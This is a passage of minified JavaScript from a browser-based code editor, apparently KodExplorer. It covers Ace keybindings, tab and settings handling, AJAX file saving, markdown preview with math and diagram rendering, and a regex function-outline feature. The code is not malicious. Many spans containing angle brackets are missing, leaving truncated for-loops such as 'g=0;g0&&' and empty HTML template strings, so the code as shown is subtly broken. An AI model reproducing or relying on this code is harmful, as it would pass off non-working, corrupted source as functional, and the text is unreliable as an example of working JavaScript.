ndKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(a){ace.config.loadModule("ace/ext/keybinding_menu",function(b){b.init(a),a.showKeyboardShortcuts()})}}),d.commands.addCommand({name:"convertUpper",bindKey:{win:"Ctrl-U",mac:"Command-U"},exec:function(a){a.toUpperCase()}}),d.commands.addCommand({name:"convertLower",bindKey:{win:"Ctrl-O",mac:"Command-O"},exec:function(a){a.toLowerCase()}}),d.commands.addCommand({name:"gotolineAt",bindKey:{win:"Ctrl-L",mac:"Command-L"},exec:function(a){$(".top-toolbar .menu-view-goto-line").trigger("mousedown")}}),d.commands.addCommand({name:"convertIndent",exec:function(a,b){ace.config.loadModule("ace/ext/whitespace",function(c){var d={reset_size:G.codeConfig.softTab?" ":" ",to_space:" ",to_tabs:" "},e=d[b];a.session.setTabSize(G.codeConfig.tabSize),a.session.setUseSoftTabs(G.codeConfig.softTab),c.detectIndentation(a.session),c.convertIndentation(a.session,e,G.codeConfig.tabSize),c.trimTrailingSpace(a.session,e)})}}),d.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(a){ace.config.loadModule("ace/ext/beautify",function(b){b.beautify(a.session)})}}),d.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(b){a.async("lib/ace/ext-searchboxKod",function(a){var c=ace.require("ace/ext/searchboxKod");c.Search(Editor,b)})}}),d.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(b){a.async("lib/ace/ext-searchboxKod",function(a){var c=ace.require("ace/ext/searchboxKod");c.Search(Editor,b,!0)})}}),d.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(a){Editor.searchBox&&Editor.searchBox.hide()}}),d.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-alt-G",mac:"Ctrl-command-G"},exec:function(a){a.findAll(a.session.getTextRange()),T()}}),d.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(a){Toolbar.doAction("refresh")}}),b.mode||(b.mode=""),d.kod={mode:b.mode,uuid:b.uuid,name:b.name,base64:!1,charset:"utf-8",theUrl:b.theUrl,filename:b.filename},d.hasChanged=!1,c[b.uuid]=d,v(),d.kod.preview=new e(d)},t=function(){var a=P();if(a){a.focus(),a.resize();try{var b=window.parent.$.dialog.list.openEditor,c=Editor.current().kod.filename;c||(c=Editor.current().kod.name);var d=''+htmlEncode(c);if(b){b.title(d),b.zIndex(),b.focus();var e=G.appHost+"editor/edit";"undefined"!=typeof G.sid&&(e=G.appHost+"share/edit&user="+G.user+"&sid="+G.sid),e=e+"#filename="+urlEncode(c),window.parent.$(".openEditor .aui-content iframe").attr("src",e)}}catch(f){}$("title").text(core.pathThis(c))}},u=function(a,b){try{Editor.current().completer.popup.hide()}catch(c){}$(".edit-tab .this").removeClass("this"),$(".edit-tab .tab-"+a).addClass("this"),d=a,b&&$(".edit-tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),t(),T(),K(),A(),Toolbar.toolbarSelected(),v(),Hook.trigger("editor.selectTab",Editor.current())},v=function(){var a=P();a&&"undefined"!=typeof a.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},w=function(a,b){if(void 0!=a&&""!=a){$(".edit-body .this").removeClass("this"),$(".edit-body #"+a).parent().addClass("this"),u(a,b);var c=$(".tab-"+a).attr("data-name");L(function(a){a.ui.tree.setSelect(c)})}},x=function(a,b,e){var f=c;$.extend(!0,{},G.codeConfig);void 0!=e&&(f={},f[e]?f[e]=c[e]:f[d]=c[d]);var g=function(a){var b=Number(!Number(a));return isNaN(b)?0:b};"undefined"!=typeof b?G.codeConfig[a]=b:(G.codeConfig[a]=g(G.codeConfig[a]),b=G.codeConfig[a]),Toolbar.toolbarSelected();for(var h in f){var i=f[h];if(i&&i.kod&&i.resize)switch(-1!=$.inArray(a,["fontSize","autoWrap","fontFamily"])&&r(i),a){case"theme":i.setTheme("ace/theme/"+b);break;case"tabSize":i.getSession().setTabSize(parseInt(b));break;case"showGutter":i.renderer.setShowGutter(parseInt(b));break;case"softTab":i.getSession().setUseSoftTabs(parseInt(b));break;case"fontSize":i.setFontSize(parseInt(b));break;case"autoWrap":i.getSession().setUseWrapMode(parseInt(b));break;case"displayChar":i.setShowInvisibles(parseInt(b));break;case"fontFamily":y();break;case"keyboardType":"ace"==G.codeConfig.keyboardType?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.codeConfig.keyboardType);break;case"functionList":break;case"autoComplete":i.setOptions({enableLiveAutocompletion:G.codeConfig[a]}),i.$enableBasicAutocompletion=G.codeConfig[a]}}$.ajax({url:G.appHost+"editor/setConfig&k="+a+"&v="+G.codeConfig[a],dataType:"json",success:function(a){}})},y=function(){var a=G.codeConfig.fontFamily;a="'"+a+"',Monaco,Menlo,Consolas,'Source Code Pro','Liberation Mono','Ubuntu Mono','Microsoft Yahei','微软雅黑',Courier,'Helvetica Neue','Lantinghei SC',STXihei,WenQuanYi,sans-serif";var b=".ace-editor-content, .ace-editor-content textarea, .ace_editor,.function-list-frame, .ace_tooltip.ace_doc-tooltip {font-family:"+a+" !important;} .ace_tooltip.ace_doc-tooltip{font-size:1.2em;}";$.setStyle(b,"code-font-family")},z=function(a){var b=c;for(var d in b){var e=b[d];if(e&&e.kod&&e.resize)switch(a){case"resize":e.resize();break;case"setting":e.commands.exec("showSettingsMenu",e)}}"resize"==a&&A()},A=function(){var a=P();if(a){var b=$("#"+a.kod.uuid).parent().find(".edit-right-frame"),c=0;b.hasClass("hidden")||(c=b.width()/$(window).width()*100),$(".edit-body .bottom-toolbar").css("right",c+"%")}},B=function(a,b){Hook.trigger("editor.setChanged",a),C(a,b),b!=a.hasChanged&&(a.hasChanged=b,$(".edit-tab .tabs .tab-"+a.kod.uuid).toggleClass("edit-changed"))},C=function(a,b){b&&a&&1==G.codeConfig.autoSave&&""!=a.kod.filename&&(clearTimeout(k),k=!1,k=setTimeout(function(){F(a,a.kod.filename,!1,!0),setTimeout(function(){a.kod.preview.previewRefresh()},300)},3e3))},D=function(a,b){if(void 0!=d){void 0==a&&(a=d),void 0==b&&(b=!1);var e=c[a];if(void 0==e||""==e)return void Tips.tips(LNG.data_error,"warning");if(e.hasChanged){N();var f=e.kod.filename;""==f?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(a){F(e,a,b)}):F(e,f,b)}}},E=function(){for(var a in c)""!=c[a].kod.filename&&D(a)},F=function(a,b,c,d){if("view"===a.kod.tabType)return void Tips.tips(LNG.error,"warning");var e={path:b,charset:a.kod.charset,filestr:a.getValue()};a.kod.charsetSave&&(e.charsetSave=a.kod.charsetSave);var f=G.appHost+"editor/fileSave";"undefined"!=typeof G.sharePage&&(f=G.appHost+"share/fileSave&user="+G.user+"&sid="+G.sid),a.kod.base64&&(e.base64="1",e.filestr=base64Encode(e.filestr)),e.filestr=urlEncode(e.filestr),""==a.kod.filename&&(e.create_file=1),d||Tips.loading(LNG.loading,!0),$(".tab-"+a.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:f,data:e,error:core.ajaxError,success:function(e){return $(".tab-"+a.kod.uuid).removeClass("loading"),e.code?(d||Tips.close(e.data,!0),""==a.kod.filename&&(a.kod.filename=b,H(a)),B(a,!1),t(),Toolbar.toolbarSelected(),void(c&&J(a.kod.uuid))):void Tips.close(e,!1)}})},H=function(a){var b=a.kod.filename;a.kod.name=core.pathThis(b),a.kod.mode=o(b),a.kod.theUrl=G.appHost+"editor/fileGet&filename="+b;var c=$(".tab-"+a.kod.uuid);c.attr("title",b),c.find(".name").html(a.kod.name)},I=function(a){if(void 0==a&&(a=d),void 0==c[a])return void J(a);var b=c[a];b.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:b.kod.name+"
        "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){D(a,!0)}},{name:LNG.button_not_save,callback:function(){J(a)}}]}):J(a)},J=function(a){delete c[a];var b="",d=$(".edit-tab .tab"),e=$(".edit-tab .tab-"+a),f=$(".edit-body pre#"+a).parent();e.removeClass("edit-tab-menu"),e.hasClass("this")?($(d[0]).attr("uuid")==a?b=$(d[1]).attr("uuid"):d.each(function(c){var d=$(this).attr("uuid");return d==a?!1:void(b=d)}),""!=b&&$(".edit-body pre#"+b).addClass("this"),f.remove(),Tap.resetWidth("remove",e,b)):(f.remove(),Tap.resetWidth("remove",e)),K()},K=function(){0==$(".edit-body .tabs .edit-content").length?(P()&&P().kod.preview.close(),$(".disable-mask").removeClass("hidden"),$(".bottom-toolbar").addClass("hidden"),$(".edit-body .tabs").addClass("hidden")):($(".disable-mask").addClass("hidden"),$(".bottom-toolbar").removeClass("hidden"),$(".edit-body .tabs").removeClass("hidden")),L(function(a){var b=[];$(".edit-tab .tabs .edit-tab-menu").each(function(a){var c=$(this).attr("data-name");c&&b.push(c)}),a.ui.fileHistory(b)})},L=function(a){ShareData.frameTop("",function(b){b.core&&b.core.isApp("editor")&&0!=b.$("#page-editor").length&&"function"==typeof a&&a(b)})},M=function(){for(var a in c)try{if(c[a].hasChanged)return!0}catch(b){}return!1},N=function(){P()&&P().focus()},O=function(a){core.setSkin(a)},P=function(){return d&&c[d]&&c[d].focus?c[d]:!1},Q=function(a){var b=P();a&&(b=c[a]);var d=b.kod.theUrl,a=b.kod.uuid;return""==d?void Tips.tips(LNG.not_exists,"warning"):($(".tab-"+a).addClass("loading"),Tips.loading(LNG.loading),d+="&charset="+b.kod.charset,void core.fileGet(d,function(c,d,e){Tips.close(),$(".tab-"+a).removeClass("loading");var f=d.data,g="";if(null==f.content&&(f.content=""),"php"==f.ext&&0==f.content.indexOf(g)){var h=f.content.substr(g.length);f.content=g+js_beautify(h)}"oexe"==f.ext&&(f.content=js_beautify(f.content)),b.kod.charset=f.charset,b.kod.base64=f.base64,b.getSession().setValue(f.content);var i=b.getFirstVisibleRow();b.scrollToLine(i),B(b,!1),Toolbar.toolbarSelected()},function(b){b||(b=LNG.error),Tips.close(b),Tips.tips(b,!1),$(".tab-"+a).removeClass("loading")}))},R=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var a=ShareData.data("FILE_SEARCH_AT"),b=P(),c={row:a.line-1,column:0};a.lineIndex-->=0;){b.selection.moveTo(c.row,c.column);var d=-1==a.lineIndex?!0:!1,e=b.find(a.search,{},d);c=e.end}b.session.highlight(b.$search.$options.re),b.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},S=function(a){a||(a=G.codeConfig.theme);var b=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(b,a)?!0:!1},T=function(){var a=Editor.current();if(a){var b=a.selection.getCursor(),c=b.row+1+":"+(b.column+1);a.selection.rangeCount>1&&(c+=" ["+a.selection.rangeCount+"]");for(var d=a.selection.getAllRanges(),e=0,f=0,g=0;g0&&(c+=" ("+e+" ~ "+f+")"),$(".editor_position").html(c)}};return{init:n,current:P,getParentEditor:L,hasFileSave:M,setChanged:B,saveConfig:x,doAction:z,setTheme:O,isBlackTheme:S,select:w,remove:I,focus:N,save:D,saveall:E,refresh:Q,getFileMode:o,aceModeList:aceModeList,add:function(a){a=urlDecode(a);var b=l("filename",a);""!=b?(w(b,!0),R()):p(a)}}});;define("app/src/edit/preview",["./previewMarkdown","./previewMarkdownParse","./tpl/markdownPreview.html","./functionList","./markdownTools","./tpl/markdownHelpCN.html","./tpl/markdownHelp.html"],function(a,b){return function(b){var c=$("#"+b.kod.uuid).parent(".edit-content"),d=c.find(".edit-right-frame"),e=$("#"+b.kod.uuid),f=c.find(".function-list-frame"),g=c.find(".preview-url-frame"),h=c.find(".preview-markdown-frame"),i=a("./previewMarkdown"),j=a("./functionList"),k=a("./markdownTools"),l=new i(b),m=new j(b),n=10,o=function(){c.find(".preview-url-tool input").keyEnter(y);var a=c.find(".resize"),b=0;a.drag({start:function(){b=d.width(),a.addClass("resize-active"),$("body").css("cursor","col-resize"),d.append('
        '),d.addClass("can-not-select")},move:function(c,f){var g=b-c,h=$(window).width();g>=h-n&&(g=h-n),n>=g&&(g=n),e.width(h-g),d.width(g),a.css("left",h-g+"px")},end:function(b,c){a.removeClass("resize-active"),$("body").css("cursor","default"),d.find(".mask-view").remove(),d.removeClass("can-not-select"),p()}})},p=function(){if(0==$(".markdown-full-page").length){if(d.is(":visible")){var a=d.width(),b=$(window).width();a>=b-n&&(a=b-n),n>=a&&(a=n);var g=100*parseFloat(a/b);d.width(g+"%"),e.width(100-g+"%");var i=c.find(".resize");i.css("left",100-g+"%"),f.is(":visible")&&d.attr("data-size-width",a),h.is(":visible")&&l.refreshScroll()}Editor.doAction("resize")}},q=function(){c.find(".edit-right-frame .box a,.function-list-tool .box a,[markdown-action]").bind("click",function(b){var d=$(this).attr("class");switch($(this).attr("markdown-action")&&(d=$(this).attr("markdown-action")),d){case"tool-markdown-menu":if(c.find(".markdown-menu-box").toggleClass("hidden"),!c.find(".markdown-menu-box").hasClass("hidden")){var e=l.markdownMenu(c.find(".markdown-preview"));c.find(".markdown-menu-box .content").html(e)}break;case"tool-markdown-download-html":l.markdownDownload(c.find(".markdown-preview").html(),"html");break;case"tool-markdown-download-pdf":l.markdownDownload(c.find(".markdown-preview").html(),"pdf");break;case"tool-markdown-download-markdown":l.markdownDownload("","md");break;case"tool-markdown-full":c.toggleClass("markdown-full"),c.hasClass("markdown-full")&&(c.find(".ace_editor").css("width","50%"),c.find(".edit-right-frame").css("width","50%"),c.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool-markdown-setting":c.find(".markdown-setting").toggleClass("hidden");break;case"tool-markdown-help":if(""==c.find(".markdown-help .content").html()){var e="";e=a("zh-CN"==G.lang||"zh-TW"==G.lang?"./tpl/markdownHelpCN.html":"./tpl/markdownHelp.html"),c.find(".markdown-help .content").html(e)}c.find(".markdown-help").toggleClass("hidden");break;case"tool-markdown-max":c.toggleClass("markdown-full-page"),c.hasClass("markdown-full-page")||p();break;case"tool-open-url":t();break;case"tool-refresh":y();break;case"tool-close":x();break;case"tool-markdown-help":}return stopPP(b),!1})},r=function(a){var i=0;if(d.removeClass("hidden"),f.addClass("hidden"),h.addClass("hidden"),g.addClass("hidden"),c.find(".resize").removeClass("hidden"),"function-list"==a)f.removeClass("hidden"),i=200,isWap()&&(i=10),m.refresh(),d.find(".function-search input").focus();else if("markdown"==a)i=.51*$(window).width(),h.removeClass("hidden"),l.refresh(),k.bindEvent(c,b);else if("html"==a){i=.5*$(window).width(),g.removeClass("hidden");var j=b.kod.filename;j=core.path2url(j),d.find(".preview-url-tool input").val(j),d.find("iframe").attr("src",j)}d.css({width:i}),e.css({width:$(window).width()-i}),p()},s=function(){f.hasClass("hidden")?h.hasClass("hidden")||l.refresh():m.refresh()},t=function(a){if(h.hasClass("hidden"))window.open(c.find(".preview-url-frame input").attr("value"));else{var b=l.markdown2html(c.find(".markdown-preview").html()),d=window.open("","_blank","");d.document.open("text/html","replace"),d.opener=null,d.document.write(b),d.document.close()}stopPP(a)},u=function(){return m.support(b.kod.mode)?(f.hasClass("hidden")?(autoFunctionList=1,r("function-list")):(autoFunctionList=0,x()),void Editor.saveConfig("functionList",autoFunctionList)):void Tips.tips(LNG.not_support,"warning")},v=function(){d.hasClass("hidden")?w()||r("html"):h.hasClass("hidden")&&r("html")},w=function(){return autoFunctionList&&m.support(b.kod.mode)?(r("function-list"),!0):"markdown"==b.kod.mode?(r("markdown"),!0):!1},x=function(){(g.hasClass("hidden")||!w())&&(d.addClass("hidden"),f.addClass("hidden"),h.addClass("hidden"),g.addClass("hidden"),c.find(".resize").addClass("hidden"),$(".markdown-full-page").removeClass("markdown-full-page"),e.css("width","100%"),Editor.doAction("resize"))},y=function(){var a=c.find(".preview-url-tool input"),b=a.attr("value");0!=a.length&&(c.find(".open-browser").attr("href",b),c.find("iframe").attr("src",b))},z=function(){o(),q(),w();var a,e=function(b){clearTimeout(a),a=!1,a=setTimeout(function(){f.is(":visible")&&(d.width(d.attr("data-size-width")),p())},10)};$(window).bind("resize",e),k.bindEvent(c,b)};return z(),{open:r,editChange:s,close:x,resize:p,openFunctionList:u,previewForce:v,previewRefresh:y}}});;define("app/src/edit/previewMarkdown",["./previewMarkdownParse","./tpl/markdownPreview.html"],function(a,b){var c=a("./previewMarkdownParse"),d=function(){$(".edit-right-frame .markdown-menu a").die("click").live("click",function(a){stopPP(a);var b=$(this).parents(".right-main"),c=b.find("[data-link='"+$(this).attr("href")+"']");if(0!=c.length){var d=c.offset().top+b.scrollTop()-b.offset().top+"px";b.stop(!0).animate({scrollTop:d},100,"linear")}})},e=function(){var a="newfile",b=Editor.current().kod.filename;return""!=b&&(b=core.pathThis(b),a=b.substr(0,b.indexOf("."))),a},f=function(b){var c=a("./tpl/markdownPreview.html"),d=template.compile(c),f=d({content:b,title:e(),blackTheme:Editor.isBlackTheme()});return f},g=function(a,b){var c=e()+"."+b;switch(b){case"html":$.htmlDownload(f(a),c);break;case"md":var d=Editor.current(),g=d.getValue();$.htmlDownload(g,c);break;case"pdf":var h=f(a);$.htmlPrint(h)}};return function(){var b,e,h,i,j=!1,k=!1,l=function(){if(b=Editor.current(),b&&"undefined"!=typeof b.focus){var a=b.kod.uuid;e=$("#"+a).parent().find(".markdown-preview"),h=$("#"+a).parent().find(".edit-right-frame .right-main"),o(),n(),d(),c.bindBigView()}},m=function(d){a.async("lib/markdown/markdown-it.min",function(){if(e&&0!=e.length&&window.markdownit){var a=window.markdownit({html:!0,breaks:!0,linkify:!0}),d=b.getValue(),f=a.render(d),g=$(".markdown-buffer");0==g.length&&($("
        ").appendTo("body"),g=$(".markdown-buffer")),g.html(f),c.menu(g),-1!=g.html().indexOf("[MATH]")&&(f=g.html().replace("[MATH]",""),g.html(f)),c.code(g,function(){c.math(g,function(){c.flow(g,function(){e.html(g.html()),g.remove(),t()})})})}})},n=function(){var a,c=function(){return!h.find(".preview-markdown-frame").hasClass("hidden")};b.session.on("changeScrollTop",function(b){!k&&c()&&(j=!0,u(!0),clearTimeout(a),a=!1,a=setTimeout(function(){j=!1},1e3))}),b.on("change",function(b){!k&&c()&&(j=!0,t(function(){u(!0),clearTimeout(a),a=!1,a=setTimeout(function(){j=!1},1e3)}))})},o=function(){return},p=[],q=[],r=function(){if("undefined"!=typeof b.kod.mode&&"markdown"==b.kod.mode&&window.markdownit){p=[];for(var a="\n...\n"+b.getValue(),c=0,d=window.markdownit(),e=d.parse(a,{references:{}}),f=["h1","h2","h3","h4","h5","h6"],g=0;g=0&&"heading_open"==e[g].type){var h=b.session.documentToScreenPosition(e[g].map[0]-1,2),i=h.row*b.renderer.lineHeight;p.push({start:c,end:i,height:i-c}),c=i}}},s=function(){if(h&&0!=h.length){q=[];var a=0,b=h.scrollTop();e.find("h1,h2,h3,h4,h5,h6").each(function(){var c=$(this).position().top+b+parseInt($(this).css("margin-top"));q.push({start:a,end:c,height:c-a}),a=c})}},t=function(a){clearTimeout(i),i=!1,i=setTimeout(function(){r(),s(),"function"==typeof a&&a()},200)},u=function(a){var c=b.session.getScrollTop(),d=h.scrollTop(),e=function(a,b,c,d){for(var e,f=-1,g=0;g=e.end-5&&(j=i.end),d(j)}};a?e(p,c,q,function(a){h.stop(!0).animate({scrollTop:a},100,"linear")}):d+h.height()>=h.prop("scrollHeight")-5?b.gotoLine(b.session.getLength()):e(q,d,p,function(a){b.session.setScrollTop(a)})};return l(),{refresh:m,refreshScroll:t,markdownMenu:c.getMenu,markdown2html:f,markdownDownload:g}}});;define("app/src/edit/previewMarkdownParse",[],function(a,b){var c={},d=[],e=function(a,b){var e=c,f=d,g=100;if(void 0==b){if(e[a]){var h=lodash.findIndex(f,{key:a});return f[h]={key:a,time:timeFloat()},e[a]}return!1}if(lodash.size(e)>=g){for(var i=lodash.sortBy(f,"time").reverse(),j=lodash.map(i,"key"),k=j.length-1;k>g-1;k--){var l=j[k];delete e[l]}f=i.slice(0,g-1)}return e[a]=b,f.push({key:a,time:timeFloat()}),!0},f=function(a){var b="";return a.find("h1,h2,h3,h4,h5,h6").each(function(){var a=$(this).text(),c=$(this).text().replace(/\s+/g,"-"),d="markdown-menu-"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link")?(a=ltrim(a,"#"),c=ltrim(c,"#")):($(this).attr("data-link","#"+c),$('').prependTo($(this))),b+='
      • '+a+"
      • "}),b="
          "+b+"
        "},g=function(a){a.find("a").attr("target","_blank");var b="

        [TOC]

        ";f(a);-1!=a.html().indexOf(b)&&(html=a.html().replace(b,f(a)),a.html(html))},h=function(b,c){a.async("lib/markdown/highlight.min",function(){b.find("pre code").each(function(a,b){hljs.highlightBlock(b)}),"function"==typeof c&&c()})},i=function(b,c){a.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(b[0],{delimiters:[{left:"$$",right:"$$",display:!0},{left:"\\[",right:"\\]",display:!0},{left:"$",right:"$",display:!1},{left:"\\(",right:"\\)",display:!1}]}),$(".katex-display").parent().addClass("markdown-latex"),$(b).find(".language-latex,.language-math,.language-katex").each(function(){try{var a=$(this).text(),b=md5(a),c=e(b);if(c)return $(c).clone().insertBefore($(this).parent()),void $(this).parent().remove();var d=katex.renderToString(a);if("string"!=typeof d)return;var f=$('
        '+d+"
        ");f.insertBefore($(this).parent()),$(this).parent().remove(),e(b,f.clone())}catch(g){}}),"function"==typeof c&&c()})},j=function(b,c){a.async(["lib/markdown/mermaid/mermaid.min.js","lib/markdown/mermaid/mermaid.min.css"],function(){$(b).find("pre code").each(function(a,b){var c=ltrim($(this).text()),d=md5(c),f=e(d);if(f)return $(f).clone().insertBefore($(this).parent()),void $(this).parent().remove();if($(this).hasClass("language-mermaid")||$(this).hasClass("language-sequence")||$(this).hasClass("language-seq")||$(this).hasClass("language-gantt")||0==c.indexOf("gantt")||0==c.indexOf("sequenceDiagram")||0==c.indexOf("classDiagram")||0==c.indexOf("gitGraph")||0==c.indexOf("graph")){($(this).hasClass("language-sequence")||$(this).hasClass("language-seq"))&&0!=c.indexOf("sequenceDiagram")&&(c="sequenceDiagram\n"+c),$(this).hasClass("language-gantt")&&0!=c.indexOf("gantt")&&(c="gantt\n"+c);var g=$('
        '+c+"
        ").insertBefore($(this).parent());try{mermaid.init(void 0,g),$(this).parent().remove(),e(d,g.clone())}catch(h){}}}),"function"==typeof c&&c()})},k=function(){var a=$("image-view-big");if(!a.exists()){a=$('').appendTo("body");var b=".image-view-big,.markdown-flow,.markdown-preview img{cursor:pointer;} .image-view-big .label{color: #444;} .image-view-big{ position:fixed;left:0;top:0;right:0;bottom:0;z-index: 99999; background:rgba(255,255,255,0.95);text-align:center; } .image-view-big img{ margin: auto;padding: 2px; box-shadow: 0 0 20px #555; height: auto;max-width: 100%;vertical-align: middle; position: absolute; top: 0;bottom: 0;left: 0;right: 0; } .image-view-big .svg{background:#fff;}";$.addStyle(b)}var c=function(b){b?a.removeClass("hidden").hide().fadeIn(100):a.fadeOut(100,function(){a.html("").addClass("hidden")})};$(".markdown-flow").die("click").live("click",function(){a.html($(this).html()),c(!0)}),$(".markdown-preview img").die("click").live("click",function(){$(this).clone().appendTo(a),c(!0)}),$(".image-view-big").die("click").live("click",function(){c(!1)})};return{getMenu:f,bindBigView:k,menu:g,code:h,math:i,flow:j}});;define("app/src/edit/tpl/markdownPreview.html",[],'\n\n \n {{title}}\n\n\n\n\n打印(Print)\n{{@content}}\n\n\n\n');;define("app/src/edit/functionList",[],function(a,b,c){var d={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,regName:/.*function\s+(.*\))/,regIndex:1,typeExtents:{"function-value":/\s*(private|protected)\s*/,"function-var":/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,regName:/\s*class\s+(\w*)\s*.*\{/,regIndex:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,regIndex:1,regName_all:[1,2],type:"function function-var"},{reg:/\s*function[\*\s]+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*function[\*\s]+([\w\s]+)\s*(.*)/,regIndex:1,regName_all:[1,2],type:"function function-define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,regName:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,regIndex:1,regName_all:[1,2],type:"function function-value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,regName:/\s*class\s+(\w+)\s*\(/,regIndex:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,regName:/\s*def\s+(\w+)\s*\(.*\)/,regIndex:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,regName:/\s*def\s+(\w+)\s*/,regIndex:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,regName:/\s*func\s+(\w+)\s*/,regIndex:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,regName:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,regIndex:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,regName:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,regIndex:2,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,regName:/\s*class\s+(\w+)\s*/,regIndex:1,type:"class"}],actionscript:[{reg:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/g,regName:/\s*function\s*(\w+)\s*\(.*\).*\s*\{/,regIndex:1,type:"function"},{reg:/\s*class\s+(\w+)\s*.*\{/g,regName:/\s*class\s+(\w+)\s*.*\{/,regIndex:1,type:"class"}],objectivec:[{reg:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/g,regName:/[\+-]\s*\(.*\)\s*(\w+)\s*\:\s*\(.*/,regIndex:1,type:"function"},{reg:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/g,regName:/[\+-]\s*\([^:\{\}]*\)\s*(\w*)\s*\{/,regIndex:1,type:"function"},{reg:/@implementation\s+(\w*)/g,regName:/@implementation\s+(\w*)/,regIndex:1,type:"class"},{reg:/#pragma\s+(mark\s+)?(.*)/g,regName:/#pragma\s+(mark\s+)?(.*)/,regIndex:2,type:"mark"}],c_cpp:[{reg:/([\w*]+\s+)+\*?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,regName:/\s+(\w+)\s*\(/,regIndex:1,type:"function"},{reg:/\s*(\w+)::~?(\w+)\s*\([\w\s\n\*\/\<\>\[\]\.&,:-]*\)\s*\{/g,regName:/\s*(\w+)::~?(\w+)\s*\(/,regIndex:2,type:"function function-define"},{reg:/\s*class\s+(\w+)\s*:/g,regName:/\s*class\s+(\w+)\s*:/,regIndex:1,type:"class"}]},e=function(a,b){var c=a.match(b.reg);if(c){for(var d=[],e=c.length,f=0,g=a,h=0;e>h;h++){var i={};i.the_match=c[h];var j=i.the_match.match(b.regName);if(j&&!(j.length=b[c]?1:void 0});for(var i=a.split("\n"),j=0,k=f[j],l=0,m=0;m=l&&k.pos_start<=l+i[m].length;)f[j].range={start:{row:m,column:k.pos_start-l},end:{row:m,column:k.pos_end-l}},j++,k=f[j];l=l+i[m].length+1}return f}},g=function(a){return a=a.replace(/[\r\n {]+/gi," "),a=a.replace(/"/gi,"'"),a=a.replace(/\/gi,">")};return function(a){var b="",c='
        No outline for the active view
        ',e=$("#"+a.kod.uuid).parent(),h=e.find(".function-search input"),i=e.find(".function-list-box"),j=function(){var a=Editor.current();if(!a||"undefined"==typeof a.kod)return void i.html(c);var d=function(a){var b=a.replace(/(^\s*)|(\s*$)/g,"");return b.replace(/(\{$)/,"")},e=a.kod.mode,j=f(a.getValue(),e);if("undefined"==typeof j||0==j.length)return void i.html(c);var l=a.getCursorPosition().row;b="";for(var n=0;n=j[n].range.start.row&&j[n+1].range&&l=j[n].range.start.row&&(o.type+=" row-select");var q=p.start.row+","+p.start.column+","+p.end.row+","+p.end.column,r=d(d(o.the_match)).substr(0,150);b+='
        '+g(o.name)+"
        "}}h.val()||k(h.val()),m()},k=function(a){if(""==b)return void i.html(c);if(!a||""==a)return i.html(b),void m();var d=$("
        "+b+"
